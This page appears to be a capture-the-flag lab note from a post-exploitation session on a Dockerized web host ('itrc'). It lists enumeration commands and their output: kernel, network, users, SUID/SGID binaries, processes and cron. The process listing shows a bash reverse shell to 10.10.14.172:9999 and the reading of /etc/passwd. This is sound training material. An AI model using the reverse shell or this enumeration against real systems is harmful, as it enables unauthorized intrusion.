InfoSec LAB

Resource_Initial_Foothold_Docker

Created: 5 min read

System/Kernel

www-data@itrc:/var/www/itrc$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f6101dbf7496e744703ecab8c33c2cc348805f7f, for GNU/Linux 3.2.0, stripped
Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Networks

www-data@itrc:/var/www/itrc$ arp -a
resource-db.docker_resource (172.223.0.2) at 02:42:ac:df:00:02 [ether] on eth0
signserv.ssg.htb (172.223.0.1) at 02:42:1a:4b:20:23 [ether] on eth0
 
www-data@itrc:/var/www/itrc$ netstat -ano | grep -i LIST
tcp        0      0 127.0.0.11:34981        0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp6       0      0 :::22                   :::*                    LISTEN      off (0.00/0/0)

resource-db.docker_resource (172.223.0.2) signserv.ssg.htb (172.223.0.1)

Users & Groups

www-data@itrc:/var/www/itrc$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
sshd:x:100:65534::/run/sshd:/usr/sbin/nologin
msainristil:x:1000:1000::/home/msainristil:/bin/bash
zzinter:x:1001:1001::/home/zzinter:/bin/bash
total 24K
8.0K drwx------ 1 msainristil msainristil 4.0K Aug  4 12:44 msainristil
4.0K drwx------ 1 zzinter     zzinter     4.0K Aug  4 12:41 zzinter
4.0K drwxr-xr-x 1 root        root        4.0K Jul 23 14:22 ..
8.0K drwxr-xr-x 1 root        root        4.0K Jul 23 14:22 .

msainristil zzinter

www-data@itrc:/var/www/itrc$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=42(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(msainristil) gid=1000(msainristil) groups=1000(msainristil)
uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)

SUIDs

www-data@itrc:/var/www/itrc$ find / -perm -04000 -ls -type f 2>/dev/null
   600384    640 -rwsr-xr-x   1 root     root       653888 Jun 22 19:38 /usr/lib/openssh/ssh-keysign
   587090     52 -rwsr-xr-x   1 root     root        52880 Mar 23  2023 /usr/bin/chsh
   587378     88 -rwsr-xr-x   1 root     root        88496 Mar 23  2023 /usr/bin/gpasswd
   587531     36 -rwsr-xr-x   1 root     root        35128 Mar 28 09:52 /usr/bin/umount
   587442     48 -rwsr-xr-x   1 root     root        48896 Mar 23  2023 /usr/bin/newgrp
   587083     64 -rwsr-xr-x   1 root     root        62672 Mar 23  2023 /usr/bin/chfn
   587453     68 -rwsr-xr-x   1 root     root        68248 Mar 23  2023 /usr/bin/passwd
   587437     60 -rwsr-xr-x   1 root     root        59704 Mar 28 09:52 /usr/bin/mount
   525847     72 -rwsr-xr-x   1 root     root        72000 Mar 28 09:52 /usr/bin/su

SGIDs

www-data@itrc:/var/www/itrc$ find / -perm -02000 -ls -type f 2>/dev/null
   598057      4 drwxrwsr-x   2 root     mail         4096 Jul 22 00:00 /var/mail
   598054      4 drwxrwsr-x   2 root     staff        4096 Mar 29 17:20 /var/local
   588808     40 -rwxr-sr-x   1 root     shadow      39160 Sep 21  2023 /usr/sbin/unix_chkpwd
   587362     32 -rwxr-sr-x   1 root     shadow      31184 Mar 23  2023 /usr/bin/expiry
   587080     80 -rwxr-sr-x   1 root     shadow      80376 Mar 23  2023 /usr/bin/chage
   600378    472 -rwxr-sr-x   1 root     _ssh       481664 Jun 22 19:38 /usr/bin/ssh-agent

Processes

www-data@itrc:/var/www/itrc$ ps ps -auxwww
ps -auxwww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   3924  2784 ?        Ss   15:39   0:00 /bin/bash /opt/startup.sh
root          14  0.0  0.1  15548  4712 ?        Ss   15:39   0:00 sshd: /usr/sbin/sshd [listener] 1 of 10-100 startups
root          15  0.6  0.6  84404 25420 ?        S    15:39   0:01 apache2 -DFOREGROUND
www-data      26  0.4  0.3  84604 14372 ?        S    15:39   0:00 apache2 -DFOREGROUND
www-data     188  0.3  0.3  84604 14384 ?        S    15:40   0:00 apache2 -DFOREGROUND
root         195  0.0  0.2  15984  9980 ?        Ss   15:40   0:00 sshd: zzinter [priv]
www-data     202  0.0  0.0   2576   904 ?        S    15:40   0:00 sh -c uname -a; w; id; /bin/sh -i
www-data     207  0.0  0.0   2576   884 ?        S    15:40   0:00 /bin/sh -i
zzinter      218  0.0  0.1  16244  6556 ?        S    15:40   0:00 sshd: zzinter@pts/0
zzinter      219  0.0  0.0   4608  3668 pts/0    Ss+  15:40   0:00 -bash
www-data     234  0.1  0.3  84596 14336 ?        S    15:41   0:00 apache2 -DFOREGROUND
www-data     237  0.0  0.0   2576   904 ?        S    15:41   0:00 sh -c /bin/bash -c 'bash -i > /dev/tcp/10.10.14.172/9999 0>&1'
www-data     238  0.0  0.0   3924  2940 ?        S    15:41   0:00 /bin/bash -c bash -i > /dev/tcp/10.10.14.172/9999 0>&1
www-data     239  0.0  0.0   4188  3460 ?        S    15:41   0:00 bash -i
www-data     240  0.0  0.0   2516  1044 ?        S    15:41   0:00 script /dev/null -c bash
www-data     241  0.0  0.0   2576   904 pts/1    Ss   15:41   0:00 sh -c bash
www-data     242  0.0  0.0   4188  3516 pts/1    S    15:41   0:00 bash
root         247  0.0  0.2  15548  9000 ?        Ss   15:42   0:00 sshd: [accepted]
www-data     248 40.0  0.0   8060  3984 pts/1    R+   15:42   0:00 ps -auxwww

/bin/bash /opt/startup.sh

Cron & Systemd

www-data@itrc:/var/www/itrc$ crontab -l ; cat /etc/crontab ; systemctl list-timers
bash: crontab: command not found
cat: /etc/crontab: No such file or directory
bash: systemctl: command not found

Sudo Version

www-data@itrc:/var/www/itrc$ sudo --version
bash: sudo: command not found

Glibc Version

www-data@itrc:/var/www/itrc$ ldd --version
ldd (Debian GLIBC 2.36-9+deb12u7) 2.36
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

Interactive Graph View

Backlinks